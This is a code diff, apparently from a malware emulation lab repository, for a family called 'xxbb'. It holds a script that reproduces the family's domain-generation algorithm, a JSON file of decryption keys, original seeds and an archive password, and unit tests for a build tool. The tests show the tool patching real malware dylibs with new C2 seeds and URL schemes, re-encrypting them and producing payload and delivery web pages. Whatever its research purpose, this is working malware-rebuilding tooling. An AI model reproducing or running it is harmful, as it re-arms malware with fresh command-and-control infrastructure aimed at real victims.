label = "".join(ALNUM[rng.random() % len(ALNUM)] for _ in range(LABEL_LEN))
|
||||
domains.append(f"{label}{TLD}")
|
||||
return domains
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Reproduce xxbb PLServerPool DGA candidates offline (no network access)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"seed",
|
||||
nargs="?",
|
||||
default="channel-c",
|
||||
help="channel-c, deployment, reporting, or a literal seed",
|
||||
)
|
||||
parser.add_argument("-n", "--count", type=int, default=5)
|
||||
args = parser.parse_args()
|
||||
seed = KNOWN_SEEDS.get(args.seed, args.seed)
|
||||
print(f"seed={seed}")
|
||||
for index, domain in enumerate(generate_domains(seed, args.count), 1):
|
||||
print(f"{index:03d} {domain}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"note": "Per-stem ChaCha20 keys from primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds; B is the 747936-byte build (3 stems share bytes).",
|
||||
"helper_key": "b38fd1ccd6570d8b3ce8edabd740e60d97e93a44fb27b35f2c54c473a37ce676",
|
||||
"originals": {
|
||||
"deployment_seed": "321fb0c812b46265421b5ad9654c2b81",
|
||||
"reporting_seed": "68143bfa7130bb97a642196db0292a12",
|
||||
"channel_c": "202700cfb1ad3de68e11239dcc26c30b",
|
||||
"seven_zip_password": "202800cfb1ad3de68e11239dcc26c30b"
|
||||
},
|
||||
"stems": {
|
||||
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
|
||||
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
|
||||
"group": "A"
|
||||
},
|
||||
"3215fc5c0f7e2ccced71057fabe5a55944d87412": {
|
||||
"key": "30041769ac1061ea04ccc1119f7b778736964232dae0fb8c93aa2d09bcb0962e",
|
||||
"group": "B"
|
||||
},
|
||||
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
|
||||
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
|
||||
"group": "B"
|
||||
},
|
||||
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
|
||||
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
|
||||
"group": "B"
|
||||
},
|
||||
"4612aa650e60e2974a9ec37bbf922c79635b493a": {
|
||||
"key": "85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb",
|
||||
"group": "C"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,239 @@
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
|
||||
from _secondary_pack import decrypt_secondary_minjs # noqa: E402
|
||||
import build as xxbb_build # noqa: E402
|
||||
from reproduce_xxbb_dga import generate_domains # noqa: E402
|
||||
|
||||
|
||||
class XxbbBuildTest(unittest.TestCase):
|
||||
def test_patch_and_round_trip(self) -> None:
|
||||
meta = json.loads((TOOLS / "secondary_keys.json").read_text())
|
||||
dep = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
|
||||
rep = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
|
||||
channel_c = "cccccccccccccccccccccccccccccccc"
|
||||
patched = {}
|
||||
for group in ("A", "B", "C"):
|
||||
path = xxbb_build.group_dylib_path(group)
|
||||
data = xxbb_build.patch_dylib(
|
||||
path.read_bytes(),
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
self.assertEqual(data.count(dep.encode()), 1)
|
||||
self.assertEqual(data.count(rep.encode()), 1)
|
||||
self.assertEqual(data.count(channel_c.encode()), 1)
|
||||
self.assertEqual(data.count(xxbb_build.ORIGINAL_DEP.encode()), 0)
|
||||
self.assertEqual(data.count(xxbb_build.ORIGINAL_REP.encode()), 0)
|
||||
self.assertEqual(data.count(xxbb_build.ORIGINAL_C.encode()), 0)
|
||||
self.assertEqual(data.count(xxbb_build.SEVEN_ZIP_PASSWORD.encode()), 1)
|
||||
patched[group] = data
|
||||
|
||||
for stem, info in meta["stems"].items():
|
||||
key = bytes.fromhex(info["key"])
|
||||
wire = __import__("_secondary_pack", fromlist=["encrypt_secondary_minjs"]).encrypt_secondary_minjs(
|
||||
patched[info["group"]], key
|
||||
)
|
||||
out = decrypt_secondary_minjs(wire, key)
|
||||
self.assertEqual(out, patched[info["group"]])
|
||||
|
||||
def test_apply_writes_named_channel_html(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
artifact = Path(tmp) / "public"
|
||||
state = Path(tmp) / "state"
|
||||
out = Path(tmp) / "out"
|
||||
name = "abcd1234"
|
||||
argv = [
|
||||
"build.py",
|
||||
"--deployment-seed",
|
||||
"11111111111111111111111111111111",
|
||||
"--reporting-seed",
|
||||
"11111111111111111111111111111111",
|
||||
"--channel-c",
|
||||
"33333333333333333333333333333333",
|
||||
"--channel-name",
|
||||
name,
|
||||
"--artifact-root",
|
||||
str(artifact),
|
||||
"--state-root",
|
||||
str(state),
|
||||
"--out",
|
||||
str(out),
|
||||
"--apply",
|
||||
"--force",
|
||||
]
|
||||
old = sys.argv
|
||||
try:
|
||||
sys.argv = argv
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
channel_dir = artifact / "source" / name
|
||||
details = artifact / "details"
|
||||
self.assertTrue((channel_dir / "index.js").is_file())
|
||||
self.assertTrue((channel_dir / "weifile.html").is_file())
|
||||
self.assertTrue((channel_dir / "index.html").is_file())
|
||||
self.assertTrue((details / "show.html").is_file())
|
||||
self.assertTrue((details / "corepayload.js").is_file())
|
||||
self.assertTrue((details / "helion.js").is_file())
|
||||
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
|
||||
blob = (channel_dir / f"{stem}.min.js").read_bytes()
|
||||
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
|
||||
dylib = decrypt_secondary_minjs(blob, key)
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib)
|
||||
self.assertIn(b"33333333333333333333333333333333", dylib)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
|
||||
self.assertIn(b"https://%@\x00", dylib)
|
||||
self.assertNotIn(b"http://%@\x00", dylib)
|
||||
seeds = json.loads((state / "lab_seeds.json").read_text())
|
||||
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
||||
self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111")
|
||||
self.assertEqual(seeds["channel_c"], "33333333333333333333333333333333")
|
||||
self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu")
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
|
||||
|
||||
def test_seeds_generated_once_then_reused(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
state = Path(tmp) / "state"
|
||||
first = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=state / "lab_seeds.json",
|
||||
cli_dep=None,
|
||||
cli_rep=None,
|
||||
cli_c=None,
|
||||
)
|
||||
second = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=state / "lab_seeds.json",
|
||||
cli_dep=None,
|
||||
cli_rep=None,
|
||||
cli_c=None,
|
||||
)
|
||||
self.assertTrue(first[4])
|
||||
self.assertFalse(second[4])
|
||||
self.assertEqual(first[:3], second[:3])
|
||||
self.assertEqual(first[3], second[3])
|
||||
self.assertEqual(len(first[0]), 32)
|
||||
self.assertEqual(len(first[1]), 32)
|
||||
self.assertEqual(first[0], first[1])
|
||||
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
|
||||
self.assertEqual(len(first[3]["deployment"]), 5)
|
||||
self.assertEqual(len(first[3]["reporting"]), 5)
|
||||
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
|
||||
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
|
||||
def test_xxbb_dga_matches_native_pool(self) -> None:
|
||||
self.assertEqual(
|
||||
generate_domains("202700cfb1ad3de68e11239dcc26c30b", 5),
|
||||
[
|
||||
"1i6cbgdyj3qdk88.icu",
|
||||
"avm2jnhejigb0ac.icu",
|
||||
"hjlif8t069cfbn3.icu",
|
||||
"os8yvsh2j1dv4mk.icu",
|
||||
"gb53wymxxljkokf.icu",
|
||||
],
|
||||
)
|
||||
self.assertEqual(
|
||||
generate_domains("321fb0c812b46265421b5ad9654c2b81", 1),
|
||||
["8fn4957c5g986jp.icu"],
|
||||
)
|
||||
|
||||
def test_stale_lab_dga_cache_is_recomputed(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
path = Path(tmp) / "lab_seeds.json"
|
||||
path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"deployment_seed": "e8afcf657ad1d47256b33166f6469d6f",
|
||||
"reporting_seed": "e8afcf657ad1d47256b33166f6469d6f",
|
||||
"channel_c": xxbb_build.ORIGINAL_C,
|
||||
"domains": {
|
||||
"deployment": ["www.xa1qtof56-b1mdjth.cfd"],
|
||||
"reporting": ["www.xa1qtof56-b1mdjth.cfd"],
|
||||
},
|
||||
}
|
||||
)
|
||||
)
|
||||
dep, _rep, channel_c, domains, computed = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=path,
|
||||
cli_dep=None,
|
||||
cli_rep=None,
|
||||
cli_c=None,
|
||||
)
|
||||
self.assertTrue(computed)
|
||||
self.assertEqual(dep, "e8afcf657ad1d47256b33166f6469d6f")
|
||||
self.assertEqual(channel_c, xxbb_build.ORIGINAL_C)
|
||||
self.assertEqual(domains["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
saved = json.loads(path.read_text())
|
||||
self.assertEqual(saved["domains"]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
|
||||
def test_cli_seeds_must_match(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
with self.assertRaises(SystemExit):
|
||||
xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=Path(tmp) / "lab_seeds.json",
|
||||
cli_dep="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
cli_rep="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
||||
cli_c=None,
|
||||
)
|
||||
|
||||
def test_http_scheme_rewrites_url_formats(self) -> None:
|
||||
path = xxbb_build.group_dylib_path("C")
|
||||
raw = path.read_bytes()
|
||||
https = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
http = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="http",
|
||||
)
|
||||
self.assertIn(b"https://%@\x00", https)
|
||||
self.assertIn(b"https://backup%u.icu\x00", https)
|
||||
self.assertNotIn(b"http://%@\x00", https)
|
||||
self.assertIn(b"http://%@\x00", http)
|
||||
self.assertIn(b"http://backup%u.icu\x00", http)
|
||||
self.assertNotIn(b"https://%@\x00", http)
|
||||
self.assertNotIn(b"https://backup%u.icu\x00", http)
|
||||
self.assertEqual(len(http), len(https))
|
||||
|
||||
def test_apply_requires_channel_name(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
argv = [
|
||||
"build.py",
|
||||
"--artifact-root",
|
||||
tmp,
|
||||
"--state-root",
|
||||
tmp,
|
||||
"--apply",
|
||||
]
|
||||
old = sys.argv
|
||||
try:
|
||||
sys.argv = argv
|
||||
with self.assertRaises(SystemExit):
|
||||
xxbb_build.main()
|
||||
finally:
|
||||
sys.argv = old
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in New Issue
Block a user